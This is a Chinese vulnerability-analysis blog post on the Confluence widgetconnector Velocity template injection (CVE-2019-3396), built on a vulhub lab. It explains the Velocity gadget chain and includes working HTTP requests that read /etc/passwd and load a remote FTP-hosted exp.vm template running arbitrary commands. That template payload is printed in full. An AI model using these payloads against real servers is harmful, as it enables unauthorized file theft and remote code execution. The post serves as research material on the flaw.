简介
Confluence Server和Confluence Data Center的widgetconnector组件存在严重的安全漏洞,可以在不需要账号登陆的情况下进行未授权访问,精心构造恶意的JSON字符串发送给widgetconnector组件处理,可以进行任意文件读取、Velocity-SSTI远程执行任意命令。
影响版本:
-
更早 -- 6.6.12(不包含)
-
6.7.0 -- 6.12.3(不包含)
-
6.13.0 -- 6.13.3(不包含)
-
6.14.0 -- 6.14.3(不包含)
影响组件:
- widgetconnector.jar <=3.1.3
Apache Velocity
Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。
选择Confluence中使用的Velocity,添加pom.xml
依赖:
<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
基本语法
语句标识符
#
用来标识Velocity的脚本语句,包括#set
、#if
、#else
、#end
、#foreach
、#end
、#include
、#parse
、#macro
等语句。
变量
$
用来标识一个变量,比如模板文件中为Hello $a
,可以获取通过上下文传递的$a
声明
set
用于声明Velocity脚本变量,变量可以在脚本中声明
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])
注释
单行注释为##
,多行注释为成对出现的#* ............. *#
逻辑运算
== && || !
条件语句
以if/else
为例:
#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end
单双引号
单引号不解析引用内容,双引号解析引用内容,与PHP有几分相似
#set ($var="aaaaa")
'$var' ## 结果为:$var
"$var" ## 结果为:aaaaa
属性
通过.
操作符使用变量的内容,比如获取并调用getClass()
#set($e="e")
$e.getClass()
转义字符
如果$a
已经被定义,但是又需要原样输出$a
,可以试用\
转义作为关键的$
基础使用
使用Velocity主要流程为:
- 初始化Velocity模板引擎,包括模板路径、加载类型等
- 创建用于存储预传递到模板文件的数据的上下文
- 选择具体的模板文件,传递数据完成渲染
VelocityTest.java
package Velocity;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import java.io.StringWriter;
public class VelocityTest {
public static void main(String[] args) {
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
velocityEngine.init();
VelocityContext context = new VelocityContext();
context.put("name", "Rai4over");
context.put("project", "Velocity");
Template template = velocityEngine.getTemplate("test.vm");
StringWriter sw = new StringWriter();
template.merge(context, sw);
System.out.println("final output:" + sw);
}
}
模板文件src/main/resources/test.vm
Hello World! The first velocity demo.
Name is $name.
Project is $project
输出结果:
final output:
Hello World! The first velocity demo.
Name is Victor Zhang.
Project is Velocity
java.lang.UNIXProcess@12f40c25
通过VelocityEngine
创建模板引擎,接着velocityEngine.setProperty
设置模板路径src/main/resources
、加载器类型为file
,最后通过velocityEngine.init()
完成引擎初始化。
通过VelocityContext()
创建上下文变量,通过put
添加模板中使用的变量到上下文。
通过getTemplate
选择路径中具体的模板文件test.vm
,创建StringWriter
对象存储渲染结果,然后将上下文变量传入template.merge
进行渲染。
RCE
修改模板内容为恶意代码,通过java.lang.Runtime
进行命令执行
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/rai4over")
org.apache.velocity.app.VelocityEngine
引擎初始化时构造函数什么也没做,但是会调用RuntimeInstance
,接着调用setProperty
设置路径等参数。
org.apache.velocity.app.VelocityEngine#setProperty
ri
就是前面的RuntimeInstance
实例,跟进setProperty
方法
org.apache.velocity.runtime.RuntimeInstance#setProperty
调用setProperty(key, value)
设置键值对,最后引擎对象init()
后为:
org.apache.velocity.VelocityContext#VelocityContext()
继续调用有构造参数
org.apache.velocity.VelocityContext#VelocityContext(java.util.Map, org.apache.velocity.context.Context)
this.context
被赋值为空的HashMap()
,上下文变量创建完成。
org.apache.velocity.context.AbstractContext#put
调用internalPut
函数
org.apache.velocity.VelocityContext#internalPut
调用put
存入hashMap
中,返回上层调用模板引擎对象getTemplate
加载模板文件
org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String)
org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String)
org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String, java.lang.String)
步步跟进套娃的getTemplate
方法,然后调用getResource
方法
org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource(java.lang.String, int, java.lang.String)
这里首先会使用资源文件名test.vm
和资源类型1
进行拼接为资源键名1test.vm
,然后通过get
方法判断1test.vm
资源名是否在ResourceManagerImpl
对象的globalCache
缓存中,
org.apache.velocity.runtime.resource.ResourceCacheImpl#get
然后进一步判断ResourceCacheImpl
对象的cache
成员并返回判断结果。
如果资源1test.vm
被缓存命中则直接加载,如果globalCache
缓存获取失败则调用loadResource
函数加载,加载成功后也同样会根据1test.vm
资源键名放入globalCache
以便下次查找。
org.apache.velocity.runtime.resource.ResourceManagerImpl#loadResource
根据资源名称、类型通过createResource
生成资源加载器,然后调用process()
从当前资源加载器集中加载资源。
org.apache.velocity.Template#process
public boolean process()
throws ResourceNotFoundException, ParseErrorException
{
data = null;
InputStream is = null;
errorCondition = null;
/*
* first, try to get the stream from the loader
*/
try
{
is = resourceLoader.getResourceStream(name);
}
catch( ResourceNotFoundException rnfe )
{
/*
* remember and re-throw
*/
errorCondition = rnfe;
throw rnfe;
}
/*
* if that worked, lets protect in case a loader impl
* forgets to throw a proper exception
*/
if (is != null)
{
/*
* now parse the template
*/
try
{
BufferedReader br = new BufferedReader( new InputStreamReader( is, encoding ) );
data = rsvc.parse( br, name);
initDocument();
return true;
}
getResourceStream(name)
获取命名资源作为流,进行解析和初始化
最后将解析后的模板AST-node放入data中并层层返回,然后调用template.merge
进行合并渲染。
org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer)
org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer, java.util.List)
这里是上面提到的ASTprocess
类的data
,并调用render
进行渲染
org.apache.velocity.runtime.parser.node.SimpleNode#render
node通过层层解析,最终通过反射完成任恶意命令执行,整体的调用栈如下:
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:356, Template (org.apache.velocity)
merge:260, Template (org.apache.velocity)
main:25, VelocityTest (Velocity)
Confluence-SSTI
环境搭建
直接使用vulhub环境
https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
设置docker-compose.yml
version: '2'
services:
web:
image: vulhub/confluence:6.10.2
ports:
- "8888:8090"
- "9999:9999"
depends_on:
- db
db:
image: postgres:10.7-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
9999
端口是用于jdwp
远程调试的映射端口,8888
是Web服务的映射端口
启动容器docker-compose up -d
,然后root
权限进入容器docker exec -u root -it 467b4e03119d bash
修改配置文件setenv.sh
,开启Confluence
的远程调试
vi /opt/atlassian/confluence/bin/setenv.sh
在配置文件的最后添加:
重启Confluence容器docker-compose restart
,调试端口就开启了,接下来配置IDEA。
首先将容器中的Confluence复制出来
docker cp 467b4e03119d:/opt/atlassian/confluence/ test
提取全部的jar
find ./test -name "*.jar" -exec cp {} ./confluence_jar/ \;
添加jar到项目
为了调试中的字节码匹配,复制出容器中使用的JDK
docker cp 467b4e03119d:/usr/lib/jvm/java-1.8-openjdk confluence-java-1.8-openjdk
将其设置为项目的JDK
IDEA远程调试配置如下
IDEA-DEBUG端口连接成功则表示调试环境无误。
漏洞复现
文件读取
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8888/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 231
{
"contentId": "786458",
"macro": {
"name": "widget",
"body": "",
"params": {
"url": "https://metacafe.com/v/23464dc6",
"width": "1000",
"height": "1000",
"_template": "file:///etc/passwd"
}
}
}
远程命令执行
通过python开启FTP
python2 -m pyftpdlib -p 21
并放入恶意的exp.vm
模板文件
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end
利用java.lang.Process
执行命令并利用java.io.InputStream
获取回显。
发送包含模板文件的URL、欲执行的命令的请求
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8888/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 262
{
"contentId": "786458",
"macro": {
"name": "widget",
"body": "",
"params": {
"url": "https://metacafe.com/v/23464dc6",
"width": "1000",
"height": "1000",
"_template": "ftp://192.168.100.109/exp.vm",
"cmd":"ls"
}
}
}
Gadget chain
根据漏洞描述的widgetconnector
组件和java.lang.Runtime
执行命令的断点,找到漏洞流程入口
com.atlassian.confluence.extra.widgetconnector.WidgetMacro#execute(java.util.Map<java.lang.String,java.lang.String>, java.lang.String, com.atlassian.confluence.content.render.xhtml.ConversionContext)
这里将JSON数据都存储在parameters
中,其中url键值通过RenderUtils.getParameter
提取出来,并将各个参数传入this.renderManager.getEmbeddedHtml(url, parameters)
com.atlassian.confluence.extra.widgetconnector.DefaultRenderManager#getEmbeddedHtml
这里对this.renderSupporter
对象包含很多渲染类
对应具体目录为
迭代该对象的元素并在if条件中进行判断,通过调用了widgetRenderer
类的matches
方法进行判断
com.atlassian.confluence.extra.widgetconnector.video.MetacafeRenderer#matches
POC中会调用MetacafeRenderer
类的matches
方法,通过contains
方法判断是否包含硬编码的metacafe.com
,因为参数中包含因此能够进入if
分支,并继续调用getEmbeddedHtml
方法
com.atlassian.confluence.extra.widgetconnector.video.MetacafeRenderer#getEmbeddedHtml
传入getEmbeddedHtml
的参数为可控的params
,除了metacafe.com
,还有其他的渲染类也能满足
GoogleVideoRenderer
EpisodicRenderer
继续跟进到DefaultVelocityRenderService
对象的render
方法
com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class:60
继续跟进getRenderedTemplate
com.atlassian.confluence.extra.widgetconnector.services.DefaultVelocityRenderService#getRenderedTemplate
com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplate(java.lang.String, java.util.Map<?,?>)
com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplate(java.lang.String, org.apache.velocity.context.Context)
com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context)
将远程模板ftp://192.168.50.63/exp.vm
和环境变量层层传递,创建StringWriter
用于存储结果,继续跟进renderTemplateWithoutSwallowingErrors
函数
com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context, java.io.Writer)
继续跟进
com.atlassian.confluence.util.velocity.VelocityUtils#getTemplate
先跟进getVelocityEngine()
看结果
com.atlassian.confluence.util.velocity.VelocityUtils#getVelocityEngine
返回生成并返回一个模板引擎对象,并继续调用getTemplate
函数
org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String, java.lang.String)
远程加载模板,过程和上面一样包括初始化加载器、加入缓存等等,不再跟进,向上层层返回模板对象
com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context, java.io.Writer)
跟进renderTemplateWithoutSwallowingErrors
函数
com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(org.apache.velocity.Template, org.apache.velocity.context.Context, java.io.Writer)
这里使用模板对象进行合并操作,完成恶意命令执行,最后的调用栈为:
exec:443, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:385, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:374, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:28, UnboxingMethod (com.atlassian.velocity.htmlsafe.introspection)
execute:270, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:262, ASTReference (org.apache.velocity.runtime.parser.node)
value:507, ASTReference (org.apache.velocity.runtime.parser.node)
value:71, ASTExpression (org.apache.velocity.runtime.parser.node)
render:142, ASTSetDirective (org.apache.velocity.runtime.parser.node)
render:336, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:328, Template (org.apache.velocity)
merge:235, Template (org.apache.velocity)
renderTemplateWithoutSwallowingErrors:68, VelocityUtils (com.atlassian.confluence.util.velocity)
renderTemplateWithoutSwallowingErrors:76, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplateWithoutSwallowingErrors:59, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:38, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:29, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:78, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
render:72, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
getEmbeddedHtml:42, MetacafeRenderer (com.atlassian.confluence.extra.widgetconnector.video)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeJoinpointUsingReflection:302, AopUtils (org.springframework.aop.support)
doInvoke:56, ServiceInvoker (org.eclipse.gemini.blueprint.service.importer.support.internal.aop)
invoke:60, ServiceInvoker (org.eclipse.gemini.blueprint.service.importer.support.internal.aop)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
doProceed:133, DelegatingIntroductionInterceptor (org.springframework.aop.support)
invoke:121, DelegatingIntroductionInterceptor (org.springframework.aop.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invokeUnprivileged:70, ServiceTCCLInterceptor (org.eclipse.gemini.blueprint.service.util.internal.aop)
invoke:53, ServiceTCCLInterceptor (org.eclipse.gemini.blueprint.service.util.internal.aop)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invoke:57, LocalBundleContextAdvice (org.eclipse.gemini.blueprint.service.importer.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
doProceed:133, DelegatingIntroductionInterceptor (org.springframework.aop.support)
invoke:121, DelegatingIntroductionInterceptor (org.springframework.aop.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invoke:208, JdkDynamicAopProxy (org.springframework.aop.framework)
getEmbeddedHtml:-1, $Proxy1665 (com.sun.proxy)
getEmbeddedHtml:32, DefaultRenderManager (com.atlassian.confluence.extra.widgetconnector)
execute:73, WidgetMacro (com.atlassian.confluence.extra.widgetconnector)
参考
https://www.jianshu.com/p/378827f1dfc8
http://blog.leanote.com/post/zhangyongbo/Velocity%E8%AF%AD%E6%B3%95
没有评论